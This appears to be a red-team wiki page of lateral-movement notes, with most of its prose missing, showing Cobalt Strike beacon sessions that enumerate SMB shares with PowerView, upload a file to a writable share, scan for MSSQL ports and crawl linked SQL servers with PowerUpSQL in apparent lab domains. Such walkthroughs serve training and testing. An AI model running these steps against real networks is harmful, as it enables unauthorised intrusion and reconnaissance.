SMB MSSQL FTP SSH HTTP(S)

SMB

C$ ADMIN$ **dev** C$ ADMIN$

PowerView SMB white-bird SMB

```
Find-DomainShare
```

```
beacon> powershell Find-DOmainShare
[*] Tasked beacon to run: Find-DOmainShare
[+] host called home, sent: 325 bytes
[+] received output:
#< CLIXML


[+] received output:
Name           Type Remark              ComputerName
----           ---- ------              ------------
ADMIN$   2147483648 Remote Admin        dc05.white-bird.local
C$       2147483648 Default share       dc05.white-bird.local
IPC$     2147483651 Remote IPC          dc05.white-bird.local
NETLOGON          0 Logon server share  dc05.white-bird.local
SYSVOL            0 Logon server share  dc05.white-bird.local
ADMIN$   2147483648 Remote Admin        web02.white-bird.local
C$       2147483648 Default share       web02.white-bird.local
IPC$     2147483651 Remote IPC          web02.white-bird.local
```

WEB02 C$ ADMIN$ serveradm WEB02

```
Find-DomainShare -CheckShareAccess
```

```
beacon> powershell Find-DOmainShare -CheckShareAccess
[*] Tasked beacon to run: Find-DOmainShare -CheckShareAccess
[+] host called home, sent: 373 bytes
[+] received output:
#< CLIXML


[+] received output:
Name           Type Remark              ComputerName
----           ---- ------              ------------
NETLOGON          0 Logon server share  dc05.white-bird.local
SYSVOL            0 Logon server share  dc05.white-bird.local
ADMIN$   2147483648 Remote Admin        web02.white-bird.local
C$       2147483648 Default share       web02.white-bird.local
```

PROD

```
beacon> powershell Find-DomainShare -domain prod.raven-med.local
[*] Tasked beacon to run: Find-DomainShare -domain prod.raven-med.local
[+] host called home, sent: 405 bytes
[+] received output:
#< CLIXML


[+] received output:
Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           dc01.prod.raven-med.local
C$       2147483648 Default share          dc01.prod.raven-med.local
IPC$     2147483651 Remote IPC             dc01.prod.raven-med.local
NETLOGON          0 Logon server share     dc01.prod.raven-med.local
SYSVOL            0 Logon server share     dc01.prod.raven-med.local
ADMIN$   2147483648 Remote Admin           file01.prod.raven-med.local
C$       2147483648 Default share          file01.prod.raven-med.local
IPC$     2147483651 Remote IPC             file01.prod.raven-med.local
Tools             0 Exchange compiled tools file01.prod.raven-med.local
ADMIN$   2147483648 Remote Admin           srv01.prod.raven-med.local
C$       2147483648 Default share          srv01.prod.raven-med.local
IPC$     2147483651 Remote IPC             srv01.prod.raven-med.local
```

file01**Tools**

```
beacon> powershell Find-DOmainShare -domain prod.raven-med.local -checkshareaccess
[*] Tasked beacon to run: Find-DOmainShare -domain prod.raven-med.local -checkshareaccess
[+] host called home, sent: 453 bytes
[+] received output:
#< CLIXML


[+] received output:
Name     Type Remark                 ComputerName
----     ---- ------                 ------------
NETLOGON    0 Logon server share     dc01.prod.raven-med.local
SYSVOL      0 Logon server share     dc01.prod.raven-med.local
Tools       0 Exchange compiled tools file01.prod.raven-med.local
```

serveradm

```
beacon> ls \\file01.prod.raven-med.local\Tools
[*] Tasked beacon to list files in \\file01.prod.raven-med.local\Tools
[+] host called home, sent: 65 bytes
[*] Listing: \\file01.prod.raven-med.local\Tools\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 290kb    fil     02/21/2020 19:00:26   KerberosConfigMgr.exe
 1mb      fil     01/26/2023 19:34:31   powerupsql.ps1
 27mb     fil     02/13/2023 15:40:46   py.exe

beacon> cd \\file01.prod.raven-med.local\Tools
[*] cd \\file01.prod.raven-med.local\Tools
[+] host called home, sent: 55 bytes
beacon> upload test.txt
[*] Tasked beacon to upload /opt/framework/cobaltstrike4.3/test.txt as test.txt
[+] host called home, sent: 32 bytes
beacon> ls
[*] Tasked beacon to list files in .
[+] host called home, sent: 31 bytes
[*] Listing: \\file01.prod.raven-med.local\Tools\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 290kb    fil     02/21/2020 19:00:26   KerberosConfigMgr.exe
 1mb      fil     01/26/2023 19:34:31   powerupsql.ps1
 27mb     fil     02/13/2023 15:40:46   py.exe
 0b       fil     03/30/2023 15:11:50   test.txt
```

MSSQL

MSSQL SQL Server

1433 MSSQL

```
beacon> portscan 172.16.1.1/24 1433
[*] Tasked beacon to scan ports 1433 on 172.16.1.1/24
[+] host called home, sent: 93285 bytes
[+] received output:
(ICMP) Target '172.16.1.1' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.2' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.12' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.13' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.14' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.21' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.32' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.11' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.31' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.41' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.42' is alive. [read 8 bytes]

[+] received output:
(ICMP) Target '172.16.1.52' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.51' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.53' is alive. [read 8 bytes]

[+] received output:
(ICMP) Target '172.16.1.255' is alive. [read 8 bytes]

[+] received output:
172.16.1.52:1433
172.16.1.42:1433
172.16.1.14:1433

[+] received output:
Scanner module is complete
```

3 MSSQL **172.16.1.14172.16.1.42 172.16.1.52**

PowerUpSql SQL 1 SQL Web02

```
Get-SQLInstanceDomain
```

```
beacon> powershell get-SQLInstanceDomain
[*] Tasked beacon to run: get-SQLInstanceDomain
[+] host called home, sent: 329 bytes
[+] received output:
#< CLIXML


ComputerName     : web02.white-bird.local
Instance         : web02.white-bird.local\SQL03
DomainAccountSid : 150000052100020288851421301915059118199145212656000
DomainAccount    : sql_service
DomainAccountCn  : sql_service
Service          : MSSQLSvc
Spn              : MSSQLSvc/web02.white-bird.local:SQL03
LastLogon        : 3/30/2023 1:22 PM
Description      :

ComputerName     : web02.white-bird.local
Instance         : web02.white-bird.local,1433
DomainAccountSid : 150000052100020288851421301915059118199145212656000
DomainAccount    : sql_service
DomainAccountCn  : sql_service
Service          : MSSQLSvc
Spn              : MSSQLSvc/web02.white-bird.local:1433
LastLogon        : 3/30/2023 1:22 PM
Description      :
```

Web02 SQL03

```
Get-SQLConnectionTest -Instance [   ]
```

```
beacon> powershell Get-SQLConnectionTest -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLConnectionTest -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 433 bytes
[+] received output:
#< CLIXML

ComputerName           Instance                    Status
------------           --------                    ------
web02.white-bird.local web02.white-bird.local\SQL03 Accessible
```

SQL **Sysadmin** SQL SPN

```
Get-SQLServerInfo -Instance [   ]
```

```
beacon> powershell Get-SQLServerInfo -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLServerInfo -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 421 bytes
[+] received output:
#< CLIXML


ComputerName            : web02.white-bird.local
Instance                : web02\SQL03
DomainName              : WHITE-BIRD
ServiceProcessID        : 2872
ServiceName             : MSSQL$SQL03
ServiceAccount          : white-bird\sql_service
AuthenticationMode      : Windows and SQL Server Authentication
ForcedEncryption        : 0
Clustered               : No
SQLServerVersionNumber  : 16.0.1000.6
SQLServerMajorVersion   : 2022
SQLServerEdition        : Developer Edition (64-bit)
SQLServerServicePack    : RTM
OSArchitecture          : X64
OsVersionNumber         : SQL
Currentlogin            : NT AUTHORITY\SYSTEM
IsSysadmin              : No
ActiveSessions          : 1
```

SQL SQL03 SRV02 SQL02

```
Get-SQLServerLinkCrawl -Instance [   ]
```

```
beacon> powershell Get-SQLServerLinkCrawl  -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLServerLinkCrawl  -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 437 bytes
[+] received output:
#< CLIXML


Version     : SQL Server 2022
Instance    : web02\SQL03
CustomQuery :
Sysadmin    : 0
Path        : {web02\SQL03}
User        : NT AUTHORITY\SYSTEM
Links       : {SRV02}

Version     : SQL Server 2022
Instance    : srv02\SQL02
CustomQuery :
Sysadmin    : 0
Path        : {web02\SQL03, SRV02}
User        : guest
Links       : {WEB02}

Version     : SQL Server 2022
Instance    : web02\SQL03
CustomQuery :
Sysadmin    : 0
Path        : {web02\SQL03, SRV02, WEB02}
User        : guest
Links       : {SRV02}

Version     : SQL Server 2022
Instance    : srv02\SQL02
```

IIS ExchangeJenkins

Revision #8
Created 5 September 2022 03:04:42 by
Updated 30 March 2023 22:18:21 by